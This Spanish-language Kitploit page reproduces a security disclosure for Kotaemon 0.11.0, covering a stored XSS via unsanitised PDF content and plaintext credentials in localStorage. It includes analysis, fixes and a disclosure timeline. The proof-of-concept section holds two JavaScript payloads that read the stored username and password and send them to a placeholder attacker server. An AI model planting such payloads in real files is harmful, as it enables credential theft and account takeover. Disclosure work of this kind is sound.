Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
Kotaemon-CVE-2025-56526-56527-disclosure — Divulgación pública de CVE-2025-56526 y CVE-2025-56527 — XSS almacenado mediante renderizado no saneado de contenido PDF y exposición de credenciales en texto plano en Kotaemon 0.11.0. Incluye análisis técnico completo, PoC, evaluación de impacto y cronograma de divulgación responsable. | Kitploit
Herramientas/GitHubGitHub/hantul/kotaemon-cve-2025-56526-56527-disclosure
Herramientas de PhishingAnálisis de VulnerabilidadesExplotaciónExplotación de Aplicaciones WebExfiltración de DatosSeguridad WebPapers e InvestigaciónAprendizaje y Educación

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
GitHub
hantul/kotaemon-cve-2025-56526-56527-disclosure

Kotaemon-CVE-2025-56526-56527-disclosure

Ver Repositorio
1hace 9 mesesAún no revisado

Acerca de

Divulgación pública de CVE-2025-56526 y CVE-2025-56527 — XSS almacenado mediante renderizado no saneado de contenido PDF y exposición de credenciales en texto plano en Kotaemon 0.11.0. Incluye análisis técnico completo, PoC, evaluación de impacto y cronograma de divulgación responsable.

Compartir

Divulgación pública de Kotaemon CVE-2025-56526 y CVE-2025-56527

El Cross-Site Scripting almacenado en el Panel de Información de Kotaemon se combina con el almacenamiento de credenciales en texto plano en localStorage, lo que permite el compromiso total de la sesión a partir de una única carga de PDF malicioso.

Resumen ejecutivo

  • Producto / Versiones afectados: Kotaemon <= 0.11.0 (incluido el commit 37cdc28)
  • Vulnerabilidades:
    • CVE-2025-56526 – XSS almacenado mediante renderizado de contenido PDF sin sanitizar
    • CVE-2025-56527 – Almacenamiento de nombre de usuario/contraseña en texto plano en localStorage
  • Privilegios requeridos: Usuario autenticado con permisos de carga de documentos
  • Impacto: Robo de credenciales, secuestro persistente de sesión, alteración de la interfaz de las salidas de LLM y compromiso posterior de la confianza del usuario

Visión general de los CVE

ID de CVEDebilidadCWEImpacto principal
CVE-2025-56526XSS almacenado mediante HTML derivado de PDFCWE-79Ejecución arbitraria de JavaScript, exfiltración de datos
CVE-2025-56527Almacenamiento de credenciales en texto planoCWE-922

Análisis técnico

1. Renderizado de contenido PDF sin sanitizar (XSS almacenado)

Los resultados de la extracción de PDF (texto, marcado de tablas, metadatos de imágenes) se inyectan en el DOM sin escapar. Por lo tanto, un PDF malicioso puede incluir HTML/JS arbitrario que se ejecuta cada vez que el Panel de Información o las vistas de Razonamiento renderizan retrieved_content.

Las rutas de código afectadas incluyen:

  • libs/ktem/ktem/utils/render.py (Render.table, Render.image, Render.collapsible_with_header)
  • libs/ktem/ktem/index/file/ui.py (renderizado de table / image)
  • libs/ktem/ktem/reasoning/simple.py y libs/ktem/ktem/reasoning/react.py
  • libs/kotaemon/kotaemon/indices/qa/format_context.py

2. Almacenamiento de credenciales en texto plano en localStorage

libs/ktem/ktem/pages/login.py, junto con libs/ktem/ktem/assets/js/main.js, almacena y recupera credenciales sin procesar directamente desde localStorage:

root@kitploit:~
setStorage('username', usn);
setStorage('password', pwd);
const username = getStorage('username', '');
const password = getStorage('password', '');

Cualquier JavaScript ejecutado a través del vector XSS puede leer inmediatamente estos valores, lo que resulta en el robo garantizado de credenciales y en la toma de control persistente de la cuenta.

Prueba de concepto

  1. Incruste el payload siguiente en un PDF (por ejemplo, dentro del atributo alt de una imagen o de un objeto de texto):
root@kitploit:~
 {
  const u = localStorage.getItem('username');
  const p = localStorage.getItem('password');
  if (u && p) {
    new Image().src='https://[ATTACKER-SERVER]?d=' + btoa(`id=${u}&pw=${p}`);
  }
})();
">
  1. Cargue el PDF y ábralo dentro del Panel de Información de Kotaemon. El script incrustado se ejecuta dentro del origen de la aplicación y exfiltra las credenciales.
  2. Un payload mejorado roba además el contexto de navegación para facilitar la orientación del ataque:
root@kitploit:~
 {
  const payload = btoa(
    `id=${localStorage.getItem('username')}` +
    `&pw=${localStorage.getItem('password')}` +
    `&url=${location.href}&origin=${location.origin}` +
    `&ua=${navigator.userAgent}`
  );
  new Image().src='https://[ATTACKER-SERVER]?d=' + payload;
})();
">

Impacto

  • XSS almacenado: Se ejecuta JavaScript arbitrario cada vez que se visualiza el PDF malicioso.
  • Robo de credenciales: Los pares username/password en texto plano quedan expuestos a cualquier script inyectado.
  • Secuestro persistente de sesión: Los atacantes pueden reutilizar las credenciales para hacerse pasar por los usuarios, acceder a proyectos o envenenar las salidas de los LLM.
  • Pérdida de integridad de las salidas de los LLM: Los usuarios ya no pueden confiar en el Panel de Información ni en los resultados de razonamiento, lo que permite cadenas sofisticadas de ingeniería social.

Análisis extendido de amenazas

Kotaemon se implementa a menudo en entornos locales o empresariales donde los usuarios cargan documentos internos sensibles. Debido a que el contenido derivado de PDF se inserta en el DOM sin sanitización, un atacante puede disfrazar un payload malicioso dentro de un documento empresarial de apariencia normal.

Cuando la víctima carga y visualiza este documento, el JavaScript oculto se ejecuta automáticamente, robando las credenciales de localStorage y exponiendo los registros de chat privados y los contenidos de los documentos.

Aunque el desencadenante parece iniciado por el usuario, esto no es un self-XSS. La causa raíz es el fallo del lado del servidor a la hora de sanitizar el HTML extraído de los archivos cargados, lo que permite XSS almacenado dentro de componentes de interfaz de confianza.

Como resultado, un único PDF malicioso puede conducir al compromiso total de la cuenta en escenarios realistas de ingeniería social.

Recomendaciones

  1. Escapar o sanitizar todo el contenido derivado de PDF antes del renderizado (por ejemplo, html.escape, DOMPurify o Trusted Types para los sumideros del DOM).
  2. Aplicar una canalización de listas blancas Markdown/HTML para que solo las etiquetas/atributos aprobados lleguen al navegador.
  3. Prohibir el almacenamiento en el cliente de credenciales sin procesar; utilice en su lugar cookies seguras solo HTTP o tokens de sesión de corta duración.
  4. Implementar CSP (script-src 'self') y Trusted Types para reducir la superficie de ataque de XSS en el DOM.
  5. Añadir pruebas de regresión para las rutas de ingesta de PDF y definir una política de manejo de salidas de LLM que trate el contenido recuperado como no confiable.

Evidencia (screenshots/)

  • PDF malicioso renderizado dentro del Panel de Información
  • Payload HTML inyectado mediante contenido extraído
  • Herramientas de desarrollador que muestran nodos DOM sin sanitizar
  • Credenciales en texto plano almacenadas en localStorage
  • Solicitud de exfiltración de red emitida por el payload
  • Servidor del atacante recibiendo credenciales codificadas en base64
  • Payload mejorado recopilando metadatos de URL/origen/UA
  • Sesión/interfaz resultante controlada por el atacante

Declaración de divulgación

Este aviso público sigue las prácticas estándar de divulgación responsable de la industria:

  • Se proporcionaron más de 90 días al proveedor para responder y aplicar el parche.
  • Se realizaron múltiples intentos de seguimiento sin que se proporcionara una resolución o un plan de remediación.
  • Los identificadores CVE (CVE-2025-56526, CVE-2025-56527) fueron asignados oficialmente por MITRE.
  • Se envió un aviso final 30 días antes de la divulgación pública.
  • La divulgación pública procede ahora para proteger a los usuarios finales y reducir la exposición a riesgos sin parchear.

Recomendaciones para usuarios

Los usuarios de Kotaemon (<= 0.11.0) deberían considerar lo siguiente hasta que esté disponible una corrección de seguridad:

  • Supervisar el repositorio oficial para futuros parches de seguridad.
  • Evitar procesar documentos no confiables.

Cronología de la divulgación

  • 2025-07-14: Informe inicial de vulnerabilidad enviado al equipo de Kotaemon.
  • 2025-08-12: Primer seguimiento; el proveedor reconoció estar ocupado y solicitó un plazo.
  • 2025-09-12: Segundo seguimiento con informe detallado y PoC.
  • 2025-09-13: Seguimiento final; sin respuesta posterior.
  • 2025-10-14: Aviso final enviado indicando la intención de divulgar públicamente.
  • 2025-11-14: Divulgación pública de CVE-2025-56526 y CVE-2025-56527.

Créditos y contacto

  • Este informe fue preparado por HanTul. (anteriormente de Team 404 Not Found 퇴근, WhiteHat School 3rd Cohort (WHS3), Corea del Sur).
  • Contacto: [email protected]
  • GitHub: @HanTul
Descargar herramienta
Divulgación de credenciales, secuestro de sesión